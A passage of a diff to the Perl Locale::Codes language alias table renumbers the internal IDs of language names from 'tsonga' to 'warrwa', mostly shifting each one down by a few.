@@ -53879,15 +53817,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tsonga) => [
-      q(0441),
+      q(0440),
       q(0),
       ],
    q(tsotsitaal) => [
-      q(2356),
+      q(2355),
       q(1),
       ],
    q(tsotso) => [
-      q(4066),
+      q(4065),
       q(0),
       ],
    q(tsou) => [
@@ -53895,7 +53833,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tsucuba) => [
-      q(1669),
+      q(1668),
       q(0),
       ],
    q(tsum) => [
@@ -53915,7 +53853,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tswana) => [
-      q(0440),
+      q(0439),
       q(0),
       ],
    q(tswapong) => [
@@ -53923,11 +53861,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tu) => [
-      q(4317),
+      q(4316),
       q(0),
       ],
    q(tuamotuan) => [
-      q(5521),
+      q(5517),
       q(0),
       ],
    q(tubar) => [
@@ -53955,15 +53893,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tukang besi north) => [
-      q(3331),
+      q(3330),
       q(0),
       ],
    q(tukang besi south) => [
-      q(1200),
+      q(1199),
       q(0),
       ],
    q(tuki) => [
-      q(1028),
+      q(1027),
       q(0),
       ],
    q(tukpa) => [
@@ -53995,11 +53933,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tulu-bohuai) => [
-      q(5735),
+      q(5733),
       q(0),
       ],
    q(tuma-irumu) => [
-      q(2979),
+      q(2976),
       q(0),
       ],
    q(tumak) => [
@@ -54011,11 +53949,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tumbuka) => [
-      q(0443),
+      q(0442),
       q(0),
       ],
    q(tumi) => [
-      q(3420),
+      q(3419),
       q(0),
       ],
    q(tumleo) => [
@@ -54023,7 +53961,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tumshuqese) => [
-      q(7506),
+      q(7503),
       q(0),
       ],
    q(tumtum) => [
@@ -54031,15 +53969,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tumulung sisaala) => [
-      q(6034),
+      q(6033),
       q(0),
       ],
    q(tumzabt) => [
-      q(4688),
+      q(4687),
       q(0),
       ],
    q(tundra enets) => [
-      q(2265),
+      q(2264),
       q(0),
       ],
    q(tunen) => [
@@ -54055,7 +53993,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tungus languages) => [
-      q(0530),
+      q(0529),
       q(0),
       ],
    q(tunia) => [
@@ -54067,7 +54005,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tunisian arabic) => [
-      q(0625),
+      q(0624),
       q(0),
       ],
    q(tunisian sign language) => [
@@ -54083,7 +54021,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tunzu) => [
-      q(2203),
+      q(2202),
       q(0),
       ],
    q(tuotomb) => [
@@ -54099,7 +54037,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tupi languages) => [
-      q(0444),
+      q(0443),
       q(0),
       ],
    q(tupinamba) => [
@@ -54139,15 +54077,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(turkic khalaj) => [
-      q(3435),
+      q(3434),
       q(0),
       ],
    q(turkic languages) => [
-      q(0529),
+      q(0528),
       q(0),
       ],
    q(turkish) => [
-      q(0445),
+      q(0444),
       q(0),
       ],
    q(turkish sign language) => [
@@ -54155,11 +54093,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(turkish, ottoman (1500-1928)) => [
-      q(0333),
+      q(0332),
       q(0),
       ],
    q(turkmen) => [
-      q(0442),
+      q(0441),
       q(0),
       ],
    q(turks and caicos creole english) => [
@@ -54199,7 +54137,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tututepec mixtec) => [
-      q(4568),
+      q(4567),
       q(0),
       ],
    q(tututni) => [
@@ -54207,15 +54145,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tuvalu) => [
-      q(0447),
+      q(0446),
       q(0),
       ],
    q(tuvinian) => [
-      q(0449),
+      q(0448),
       q(0),
       ],
    q(tuwali ifugao) => [
-      q(2913),
+      q(2910),
       q(0),
       ],
    q(tuwari) => [
@@ -54223,7 +54161,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tuwuli) => [
-      q(1370),
+      q(1369),
       q(0),
       ],
    q(tuxa) => [
@@ -54251,15 +54189,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(twi) => [
-      q(0448),
+      q(0447),
       q(0),
       ],
    q(tyap) => [
-      q(3214),
+      q(3212),
       q(0),
       ],
    q(tyaraity) => [
-      q(7182),
+      q(7180),
       q(0),
       ],
    q(tz'utujil) => [
@@ -54275,11 +54213,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(u) => [
-      q(6947),
+      q(6946),
       q(0),
       ],
    q(uab meto) => [
-      q(0834),
+      q(0833),
       q(0),
       ],
    q(uamue) => [
@@ -54291,7 +54229,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ubaghara) => [
-      q(1591),
+      q(1590),
       q(0),
       ],
    q(ubang) => [
@@ -54311,7 +54249,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ucayali-yurua asheninka) => [
-      q(1828),
+      q(1827),
       q(0),
       ],
    q(uda) => [
@@ -54327,7 +54265,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(udmurt) => [
-      q(0450),
+      q(0449),
       q(0),
       ],
    q(uduk) => [
@@ -54343,7 +54281,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ugaritic) => [
-      q(0451),
+      q(0450),
       q(0),
       ],
    q(ughele) => [
@@ -54359,7 +54297,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(uighur) => [
-      q(0452),
+      q(0451),
       q(0),
       ],
    q(uisai) => [
@@ -54371,7 +54309,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ukaan) => [
-      q(3213),
+      q(3211),
       q(0),
       ],
    q(ukhwejo) => [
@@ -54379,27 +54317,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ukit) => [
-      q(6891),
+      q(6890),
       q(0),
       ],
    q(ukpe-bayobiri) => [
-      q(6869),
+      q(6868),
       q(0),
       ],
    q(ukpet-ehom) => [
-      q(0725),
+      q(0724),
       q(0),
       ],
    q(ukrainian) => [
-      q(0453),
+      q(0452),
       q(0),
       ],
    q(ukrainian sign language) => [
-      q(6868),
+      q(6867),
       q(0),
       ],
    q(ukue) => [
-      q(6872),
+      q(6871),
       q(0),
       ],
    q(ukuriguma) => [
@@ -54407,67 +54345,67 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ukwa) => [
-      q(6870),
+      q(6869),
       q(0),
       ],
    q(ukwuani-aboh-ndoni) => [
-      q(6873),
+      q(6872),
       q(0),
       ],
    q(ulau-suain) => [
-      q(6281),
+      q(6282),
       q(0),
       ],
    q(ulch) => [
-      q(6877),
+      q(6876),
       q(0),
       ],
    q(ulithian) => [
-      q(6880),
+      q(6879),
       q(0),
       ],
    q(ullatan) => [
-      q(6882),
+      q(6881),
       q(0),
       ],
    q(ulukwumi) => [
-      q(6876),
+      q(6875),
       q(0),
       ],
    q(ulumanda') => [
-      q(6883),
+      q(6882),
       q(0),
       ],
    q(ulwa) => [
-      q(6886),
+      q(6885),
       q(0),
       ],
    q(uma) => [
-      q(5569),
+      q(5565),
       q(0),
       ],
    q(uma' lasan) => [
-      q(7377),
+      q(7374),
       q(0),
       ],
    q(uma' lung) => [
-      q(6885),
+      q(6884),
       q(0),
       ],
    q(umanakaina) => [
-      q(2463),
+      q(2462),
       q(0),
       ],
    q(umatilla) => [
-      q(6887),
+      q(6886),
       q(0),
       ],
    q(umbindhamu) => [
-      q(6889),
+      q(6888),
       q(0),
       ],
    q(umbrian) => [
-      q(7521),
+      q(7518),
       q(0),
       ],
    q(umbu-ungu) => [
@@ -54475,111 +54413,111 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(umbugarla) => [
-      q(6896),
+      q(6895),
       q(0),
       ],
    q(umbundu) => [
-      q(0454),
+      q(0453),
       q(0),
       ],
    q(umbuygamu) => [
-      q(6890),
+      q(6889),
       q(0),
       ],
    q(ume sami) => [
-      q(6060),
+      q(6059),
       q(0),
       ],
    q(umeda) => [
-      q(6909),
+      q(6908),
       q(0),
       ],
    q(umiida) => [
-      q(7517),
+      q(7514),
       q(0),
       ],
    q(umiray dumaget agta) => [
-      q(2168),
+      q(2167),
       q(0),
       ],
    q(umon) => [
-      q(6892),
+      q(6891),
       q(0),
       ],
    q(umotina) => [
-      q(6894),
+      q(6893),
       q(0),
       ],
    q(umpila) => [
-      q(6895),
+      q(6894),
       q(0),
       ],
    q(una) => [
-      q(4554),
+      q(4553),
       q(0),
       ],
    q(unami) => [
-      q(6903),
+      q(6902),
       q(0),
       ],
    q(uncoded languages) => [
-      q(0282),
+      q(0281),
       q(0),
       ],
    q(unde kaili) => [
-      q(6908),
+      q(6907),
       q(0),
       ],
    q(undetermined) => [
-      q(0455),
+      q(0454),
       q(0),
       ],
    q(uneapa) => [
-      q(1052),
+      q(1051),
       q(0),
       ],
    q(uneme) => [
-      q(6900),
+      q(6899),
       q(0),
       ],
    q(unggaranggu) => [
-      q(7522),
+      q(7519),
       q(0),
       ],
    q(unggumi) => [
-      q(7335),
+      q(7332),
       q(0),
       ],
    q(ungkue) => [
-      q(2540),
+      q(2538),
       q(0),
       ],
    q(unserdeutsch) => [
-      q(6884),
+      q(6883),
       q(0),
       ],
    q(unua) => [
-      q(5275),
+      q(5271),
       q(0),
       ],
    q(unubahe) => [
-      q(6906),
+      q(6905),
       q(0),
       ],
    q(upper chehalis) => [
-      q(1742),
+      q(1741),
       q(0),
       ],
    q(upper grand valley dani) => [
-      q(2093),
+      q(2092),
       q(0),
       ],
    q(upper guinea crioulo) => [
-      q(5563),
+      q(5559),
       q(0),
       ],
    q(upper kinabatangan) => [
-      q(2081),
+      q(2080),
       q(0),
       ],
    q(upper kuskokwim) => [
@@ -54591,11 +54529,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(upper saxon) => [
-      q(6321),
+      q(6322),
       q(0),
       ],
    q(upper sorbian) => [
-      q(0183),
+      q(0182),
       q(0),
       ],
    q(upper ta'oih) => [
@@ -54611,107 +54549,107 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(upper umpqua) => [
-      q(7524),
+      q(7521),
       q(0),
       ],
    q(ura (papua new guinea)) => [
-      q(6923),
+      q(6922),
       q(0),
       ],
    q(ura (vanuatu)) => [
-      q(6946),
+      q(6945),
       q(0),
       ],
    q(uradhi) => [
-      q(6915),
+      q(6914),
       q(0),
       ],
    q(urak lawoi') => [
-      q(6919),
+      q(6918),
       q(0),
       ],
    q(urali) => [
-      q(6920),
+      q(6919),
       q(0),
       ],
    q(uralic languages) => [
-      q(0531),
+      q(0530),
       q(0),
       ],
    q(urapmin) => [
-      q(6921),
+      q(6920),
       q(0),
       ],
    q(urarina) => [
-      q(6911),
+      q(6910),
       q(0),
       ],
    q(urartian) => [
-      q(7525),
+      q(7522),
       q(0),
       ],
    q(urat) => [
-      q(6926),
+      q(6925),
       q(0),
       ],
    q(urdu) => [
-      q(0456),
+      q(0455),
       q(0),
       ],
    q(urhobo) => [
-      q(6917),
+      q(6916),
       q(0),
       ],
    q(uri) => [
-      q(6949),
+      q(6948),
       q(0),
       ],
    q(urigina) => [
-      q(6916),
+      q(6915),
       q(0),
       ],
    q(urim) => [
-      q(6918),
+      q(6917),
       q(0),
       ],
    q(urimo) => [
-      q(6930),
+      q(6929),
       q(0),
       ],
    q(uripiv-wala-rano-atchin) => [
-      q(6910),
+      q(6909),
       q(0),
       ],
    q(urningangg) => [
-      q(6913),
+      q(6912),
       q(0),
       ],
    q(uru) => [
-      q(6914),
+      q(6913),
       q(0),
       ],
    q(uru-eu-wau-wau) => [
-      q(6932),
+      q(6931),
       q(0),
       ],
    q(uru-pa-in) => [
-      q(6924),
+      q(6923),
       q(0),
       ],
    q(uruangnirin) => [
-      q(6922),
+      q(6921),
       q(0),
       ],
    q(uruava) => [
-      q(6928),
+      q(6927),
       q(0),
       ],
    q(urubu-kaapor) => [
-      q(6912),
+      q(6911),
       q(0),
       ],
    q(urubu-kaapor sign language) => [
-      q(6871),
+      q(6870),
       q(0),
       ],
    q(uruguayan sign language) => [
@@ -54719,115 +54657,115 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(urum) => [
-      q(6944),
+      q(6943),
       q(0),
       ],
    q(urumi) => [
-      q(6927),
+      q(6926),
       q(0),
       ],
    q(usaghade) => [
-      q(6936),
+      q(6935),
       q(0),
       ],
    q(usan) => [
-      q(7179),
+      q(7177),
       q(0),
       ],
    q(usarufa) => [
-      q(6933),
+      q(6932),
       q(0),
       ],
    q(ushojo) => [
-      q(6934),
+      q(6933),
       q(0),
       ],
    q(usila chinantec) => [
-      q(1900),
+      q(1899),
       q(0),
       ],
    q(usku) => [
-      q(6879),
+      q(6878),
       q(0),
       ],
    q(uspanteco) => [
-      q(6937),
+      q(6936),
       q(0),
       ],
    q(usui) => [
-      q(6935),
+      q(6934),
       q(0),
       ],
    q(ut-ma'in) => [
-      q(2480),
+      q(2479),
       q(0),
       ],
    q(utarmbung) => [
-      q(5255),
+      q(5251),
       q(0),
       ],
    q(ute-southern paiute) => [
-      q(6940),
+      q(6939),
       q(0),
       ],
    q(uto-aztecan languages) => [
-      q(0494),
+      q(0493),
       q(0),
       ],
    q(utu) => [
-      q(6943),
+      q(6942),
       q(0),
       ],
    q(uvbie) => [
-      q(2312),
+      q(2311),
       q(0),
       ],
    q(uya) => [
-      q(6938),
+      q(6937),
       q(0),
       ],
    q(uyajitaya) => [
-      q(2173),
+      q(2172),
       q(0),
       ],
    q(uyghur) => [
-      q(0452),
+      q(0451),
       q(1),
       ],
    q(uzbek) => [
-      q(0457),
+      q(0456),
       q(0),
       ],
    q(uzbeki arabic) => [
-      q(0955),
+      q(0954),
       q(0),
       ],
    q(uzekwe) => [
-      q(2318),
+      q(2317),
       q(0),
       ],
    q(v'enen taut) => [
-      q(4956),
+      q(4954),
       q(1),
       ],
    q(vaagri booli) => [
-      q(6955),
+      q(6954),
       q(0),
       ],
    q(vaeakau-taumako) => [
-      q(5465),
+      q(5461),
       q(1),
       ],
    q(vafsi) => [
-      q(6957),
+      q(6956),
       q(0),
       ],
    q(vaghat-ya-bijim-legeri) => [
-      q(1217),
+      q(1216),
       q(0),
       ],
    q(vaghri) => [
-      q(6980),
+      q(6979),
       q(0),
       ],
    q(vaghua) => [
@@ -54835,19 +54773,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(vagla) => [
-      q(6958),
+      q(6957),
       q(0),
       ],
    q(vai) => [
-      q(0458),
+      q(0457),
       q(0),
       ],
    q(vaiphei) => [
-      q(6965),
+      q(6964),
       q(0),
       ],
    q(vale) => [
-      q(6956),
+      q(6955),
       q(0),
       ],
    q(valencian) => [
@@ -54855,231 +54793,231 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(valencian sign language) => [
-      q(7035),
+      q(7034),
       q(0),
       ],
    q(valle nacional chinantec) => [
-      q(1917),
+      q(1916),
       q(0),
       ],
    q(valley maidu) => [
-      q(7021),
+      q(7020),
       q(0),
       ],
    q(valman) => [
-      q(6963),
+      q(6962),
       q(0),
       ],
    q(valpei) => [
-      q(7001),
+      q(7000),
       q(0),
       ],
    q(vamale) => [
-      q(4354),
+      q(4353),
       q(0),
       ],
    q(vame) => [
-      q(4376),
+      q(4375),
       q(0),
       ],
    q(vandalic) => [
-      q(7530),
+      q(7527),
       q(0),
       ],
    q(vangunu) => [
-      q(4465),
+      q(4464),
       q(0),
       ],
    q(vanimo) => [
-      q(6962),
+      q(6961),
       q(0),
       ],
    q(vano) => [
-      q(7026),
+      q(7025),
       q(0),
       ],
    q(vanuma) => [
-      q(6968),
+      q(6967),
       q(0),
       ],
    q(vao) => [
-      q(6964),
+      q(6963),
       q(0),
       ],
    q(varhadi-nagpuri) => [
-      q(6959),
+      q(6958),
       q(0),
       ],
    q(varisi) => [
-      q(7031),
+      q(7030),
       q(0),
       ],
    q(varli) => [
-      q(6969),
+      q(6968),
       q(0),
       ],
    q(vasavi) => [
-      q(6967),
+      q(6966),
       q(0),
       ],
    q(vasekele) => [
-      q(6960),
+      q(6959),
       q(2),
       ],
    q(veddah) => [
-      q(6974),
+      q(6973),
       q(0),
       ],
    q(vehes) => [
-      q(6961),
+      q(6960),
       q(0),
       ],
    q(veluws) => [
-      q(6975),
+      q(6974),
       q(0),
       ],
    q(vemgo-mabas) => [
-      q(6976),
+      q(6975),
       q(0),
       ],
    q(venda) => [
-      q(0459),
+      q(0458),
       q(0),
       ],
    q(venetian) => [
-      q(6973),
+      q(6972),
       q(0),
       ],
    q(venetic) => [
-      q(7528),
+      q(7525),
       q(0),
       ],
    q(venezuelan sign language) => [
-      q(7034),
+      q(7033),
       q(0),
       ],
    q(vengo) => [
-      q(1035),
+      q(1034),
       q(0),
       ],
    q(ventureno) => [
-      q(6977),
+      q(6976),
       q(0),
       ],
    q(veps) => [
-      q(6978),
+      q(6977),
       q(0),
       ],
    q(vera'a) => [
-      q(7030),
+      q(7029),
       q(0),
       ],
    q(vestinian) => [
-      q(7532),
+      q(7529),
       q(0),
       ],
    q(vidunda) => [
-      q(6983),
+      q(6982),
       q(0),
       ],
    q(viemo) => [
-      q(6985),
+      q(6984),
       q(0),
       ],
    q(vietnamese) => [
-      q(0460),
+      q(0459),
       q(0),
       ],
    q(viid) => [
-      q(6140),
+      q(6141),
       q(1),
       ],
    q(vilela) => [
-      q(6986),
+      q(6985),
       q(0),
       ],
    q(vili) => [
-      q(6984),
+      q(6983),
       q(0),
       ],
    q(villa viciosa agta) => [
-      q(2197),
+      q(2196),
       q(0),
       ],
    q(vincentian creole english) => [
-      q(6282),
+      q(6283),
       q(0),
       ],
    q(vinmavis) => [
-      q(7027),
+      q(7026),
       q(0),
       ],
    q(vinza) => [
-      q(6987),
+      q(6986),
       q(0),
       ],
    q(virgin islands creole english) => [
-      q(6982),
+      q(6981),
       q(0),
       ],
    q(vishavan) => [
-      q(6988),
+      q(6987),
       q(0),
       ],
    q(viti) => [
-      q(6989),
+      q(6988),
       q(0),
       ],
    q(vitou) => [
-      q(7036),
+      q(7035),
       q(0),
       ],
    q(vitu) => [
-      q(7127),
+      q(7125),
       q(0),
       ],
    q(vlaams) => [
-      q(7002),
+      q(7001),
       q(0),
       ],
    q(vlaamse gebarentaal) => [
-      q(6981),
+      q(6980),
       q(0),
       ],
    q(vlax romani) => [
-      q(5817),
+      q(5816),
       q(0),
       ],
    q(volapuk) => [
-      q(0461),
+      q(0460),
       q(0),
       ],
    q(volscian) => [
-      q(7531),
+      q(7528),
       q(0),
       ],
    q(vono) => [
-      q(3215),
+      q(3213),
       q(0),
       ],
    q(voro) => [
-      q(7029),
+      q(7028),
       q(0),
       ],
    q(votic) => [
-      q(0462),
+      q(0461),
       q(0),
       ],
    q(vumbu) => [
-      q(7037),
+      q(7036),
       q(0),
       ],
    q(vunapu) => [
-      q(7028),
+      q(7027),
       q(0),
       ],
    q(vunjo) => [
-      q(7038),
+      q(7037),
       q(0),
       ],
    q(vure) => [
@@ -55087,67 +55025,67 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(vures) => [
-      q(4536),
+      q(4535),
       q(0),
       ],
    q(vute) => [
-      q(7039),
+      q(7038),
       q(0),
       ],
    q(vwanji) => [
-      q(7067),
+      q(7066),
       q(0),
       ],
    q(wa) => [
-      q(7071),
+      q(7070),
       q(0),
       ],
    q(wa'ema) => [
-      q(7047),
+      q(7046),
       q(0),
       ],
    q(waama) => [
-      q(7246),
+      q(7244),
       q(0),
       ],
    q(waamwang) => [
-      q(7162),
+      q(7160),
       q(0),
       ],
    q(waata) => [
-      q(6231),
+      q(6232),
       q(0),
       ],
    q(wab) => [
-      q(7042),
+      q(7041),
       q(0),
       ],
    q(wabo) => [
-      q(7064),
+      q(7063),
       q(0),
       ],
    q(waboda) => [
-      q(3474),
+      q(3473),
       q(0),
       ],
    q(waci gbe) => [
-      q(7080),
+      q(7078),
       q(0),
       ],
    q(wadaginam) => [
-      q(7082),
+      q(7080),
       q(0),
       ],
    q(waddar) => [
-      q(7073),
+      q(7072),
       q(0),
       ],
    q(wadi wadi) => [
-      q(7535),
+      q(7532),
       q(0),
       ],
    q(wadikali) => [
-      q(7084),
+      q(7082),
       q(0),
       ],
    q(wadiyara koli) => [
@@ -55155,135 +55093,135 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(wadjabangayi) => [
-      q(7086),
+      q(7084),
       q(0),
       ],
    q(wadjiginy) => [
-      q(7083),
+      q(7081),
       q(0),
       ],
    q(wadjigu) => [
-      q(7085),
+      q(7083),
       q(0),
       ],
    q(wae rana) => [
-      q(7216),
+      q(7214),
       q(0),
       ],
    q(waffa) => [
-      q(7050),
+      q(7049),
       q(0),
       ],
    q(wagawaga) => [
-      q(7103),
+      q(7101),
       q(0),
       ],
    q(wagaya) => [
-      q(7102),
+      q(7100),
       q(0),
       ],
    q(wagdi) => [
-      q(7074),
+      q(7073),
       q(0),
       ],
    q(wageman) => [
-      q(7055),
+      q(7054),
       q(0),
       ],
    q(wagi) => [
-      q(2321),
+      q(2320),
       q(0),
       ],
    q(wahau kayan) => [
-      q(7112),
+      q(7110),
       q(0),
       ],
    q(wahau kenyah) => [
-      q(7111),
+      q(7109),
       q(0),
       ],
    q(wahgi) => [
-      q(7105),
+      q(7103),
       q(0),
       ],
    q(waigali) => [
-      q(7069),
+      q(7068),
       q(0),
       ],
    q(waigeo) => [
-      q(7106),
+      q(7104),
       q(0),
       ],
    q(wailaki) => [
-      q(7143),
+      q(7141),
       q(0),
       ],
    q(wailapa) => [
-      q(7147),
+      q(7145),
       q(0),
       ],
    q(waima) => [
-      q(5841),
+      q(5840),
       q(0),
       ],
    q(waima'a) => [
-      q(7159),
+      q(7157),
       q(0),
       ],
    q(waimaha) => [
-      q(1031),
+      q(1030),
       q(0),
       ],
    q(waimiri-atroari) => [
-      q(0925),
+      q(0924),
       q(0),
       ],
    q(waioli) => [
-      q(7142),
+      q(7140),
       q(0),
       ],
    q(waiwai) => [
-      q(7059),
+      q(7058),
       q(0),
       ],
    q(waja) => [
-      q(7129),
+      q(7127),
       q(0),
       ],
    q(wajarri) => [
-      q(7077),
+      q(7075),
       q(0),
       ],
    q(wajuk) => [
-      q(7538),
+      q(7535),
       q(0),
       ],
    q(waka) => [
-      q(7058),
+      q(7057),
       q(0),
       ],
    q(wakabunga) => [
-      q(7247),
+      q(7245),
       q(0),
       ],
    q(wakashan languages) => [
-      q(0463),
+      q(0462),
       q(0),
       ],
    q(wakawaka) => [
-      q(7136),
+      q(7134),
       q(0),
       ],
    q(wakde) => [
-      q(7133),
+      q(7131),
       q(0),
       ],
    q(wakhi) => [
-      q(7070),
+      q(7069),
       q(0),
       ],
    q(wakona) => [
-      q(7046),
+      q(7045),
       q(0),
       ],
    q(wala) => [
@@ -55291,83 +55229,83 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(walak) => [
-      q(7151),
+      q(7149),
       q(0),
       ],
    q(walamo) => [
-      q(0464),
+      q(0463),
       q(0),
       ],
    q(walangama) => [
-      q(4951),
+      q(4949),
       q(0),
       ],
    q(wali (ghana)) => [
-      q(7152),
+      q(7150),
       q(0),
       ],
    q(wali (sudan)) => [
-      q(7144),
+      q(7142),
       q(0),
       ],
    q(waling) => [
-      q(7153),
+      q(7151),
       q(0),
       ],
    q(walio) => [
-      q(7138),
+      q(7136),
       q(0),
       ],
    q(walla walla) => [
-      q(7041),
+      q(7040),
       q(0),
       ],
    q(wallisian) => [
-      q(7148),
+      q(7146),
       q(0),
       ],
    q(walloon) => [
-      q(0469),
+      q(0468),
       q(0),
       ],
    q(walmajarri) => [
-      q(7165),
+      q(7163),
       q(0),
       ],
    q(walser) => [
-      q(7045),
+      q(7044),
       q(0),
       ],
    q(walungge) => [
-      q(5238),
+      q(5234),
       q(0),
       ],
    q(wamas) => [
-      q(7156),
+      q(7154),
       q(0),
       ],
    q(wambaya) => [
-      q(7155),
+      q(7153),
       q(0),
       ],
    q(wambon) => [
-      q(7164),
+      q(7162),
       q(0),
       ],
    q(wambule) => [
-      q(7158),
+      q(7156),
       q(0),
       ],
    q(wamey) => [
-      q(1822),
+      q(1821),
       q(0),
       ],
    q(wamin) => [
-      q(7160),
+      q(7158),
       q(0),
       ],
    q(wampanoag) => [
-      q(7051),
+      q(7050),
       q(0),
       ],
    q(wampar) => [
@@ -55375,131 +55313,131 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(wampur) => [
-      q(7062),
+      q(7061),
       q(0),
       ],
    q(wan) => [
-      q(7052),
+      q(7051),
       q(0),
       ],
    q(wanambre) => [
-      q(7168),
+      q(7166),
       q(0),
       ],
    q(wanap) => [
-      q(7178),
+      q(7176),
       q(0),
       ],
    q(wanbasana) => [
-      q(0763),
+      q(0762),
       q(1),
       ],
    q(wancho naga) => [
-      q(4995),
+      q(4993),
       q(0),
       ],
    q(wanda) => [
-      q(7066),
+      q(7065),
       q(0),
       ],
    q(wandala) => [
-      q(4225),
+      q(4224),
       q(0),
       ],
    q(wandamen) => [
-      q(7044),
+      q(7043),
       q(0),
       ],
    q(wandarang) => [
-      q(7170),
+      q(7168),
       q(0),
       ],
    q(wandji) => [
-      q(7081),
+      q(7079),
       q(0),
       ],
    q(wane) => [
-      q(2877),
+      q(2875),
       q(0),
       ],
    q(waneci) => [
-      q(7171),
+      q(7169),
       q(0),
       ],
    q(wanga) => [
-      q(4092),
+      q(4091),
       q(0),
       ],
    q(wangaaybuwan-ngiyambaa) => [
-      q(7254),
+      q(7252),
       q(0),
       ],
    q(wanggamala) => [
-      q(7175),
+      q(7173),
       q(0),
       ],
    q(wangganguru) => [
-      q(7104),
+      q(7102),
       q(0),
       ],
    q(wanggom) => [
-      q(7172),
+      q(7170),
       q(0),
       ],
    q(wangkayutyuru) => [
-      q(7137),
+      q(7135),
       q(0),
       ],
    q(wangkumara) => [
-      q(7539),
+      q(7536),
       q(0),
       ],
    q(wanman) => [
-      q(7076),
+      q(7074),
       q(0),
       ],
    q(wannu) => [
-      q(3147),
+      q(3145),
       q(0),
       ],
    q(wano) => [
-      q(7177),
+      q(7175),
       q(0),
       ],
    q(wantoat) => [
-      q(7169),
+      q(7167),
       q(0),
       ],
    q(wanukaka) => [
-      q(7174),
+      q(7172),
       q(0),
       ],
    q(wanyi) => [
-      q(7181),
+      q(7179),
       q(0),
       ],
    q(waorani) => [
-      q(0936),
+      q(0935),
       q(0),
       ],
    q(wapan) => [
-      q(3152),
+      q(3150),
       q(0),
       ],
    q(wapha) => [
-      q(3162),
+      q(3160),
       q(0),
       ],
    q(wapishana) => [
-      q(7054),
+      q(7053),
       q(0),
       ],
    q(wappo) => [
-      q(7053),
+      q(7052),
       q(0),
       ],
    q(war-jaintia) => [
-      q(0776),
+      q(0775),
       q(0),
       ],
    q(wara) => [
@@ -55507,259 +55445,259 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(warao) => [
-      q(7063),
+      q(7062),
       q(0),
       ],
    q(warapu) => [
-      q(7199),
+      q(7197),
       q(0),
       ],
    q(waray) => [
-      q(0465),
+      q(0464),
       q(0),
       ],
    q(waray (australia)) => [
-      q(7218),
+      q(7216),
       q(0),
       ],
    q(waray (philippines)) => [
-      q(0465),
+      q(0464),
       q(1),
       ],
    q(wardaman) => [
-      q(7211),
+      q(7209),
       q(0),
       ],
    q(wardandi) => [
-      q(7252),
+      q(7250),
       q(0),
       ],
    q(warduji) => [
-      q(7201),
+      q(7199),
       q(0),
       ],
    q(warembori) => [
-      q(7219),
+      q(7217),
       q(0),
       ],
    q(wares) => [
-      q(7049),
+      q(7048),
       q(0),
       ],
    q(waris) => [
-      q(7212),
+      q(7210),
       q(0),
       ],
    q(waritai) => [
-      q(7065),
+      q(7064),
       q(0),
       ],
    q(wariyangga) => [
-      q(7204),
+      q(7202),
       q(0),
       ],
    q(warji) => [
-      q(7130),
+      q(7128),
       q(0),
       ],
    q(warkay-bipim) => [
-      q(1181),
+      q(1180),
       q(0),
       ],
    q(warlmanpa) => [
-      q(7206),
+      q(7204),
       q(0),
       ],
    q(warlpiri) => [
-      q(7072),
+      q(7071),
       q(0),
       ],
    q(warluwara) => [
-      q(7200),
+      q(7198),
       q(0),
       ],
    q(warnang) => [
-      q(7208),
+      q(7206),
       q(0),
       ],
    q(waropen) => [
-      q(7210),
+      q(7208),
       q(0),
       ],
    q(warrgamay) => [
-      q(7108),
+      q(7106),
       q(0),
       ],
    q(warrwa) => [
-      q(7249),
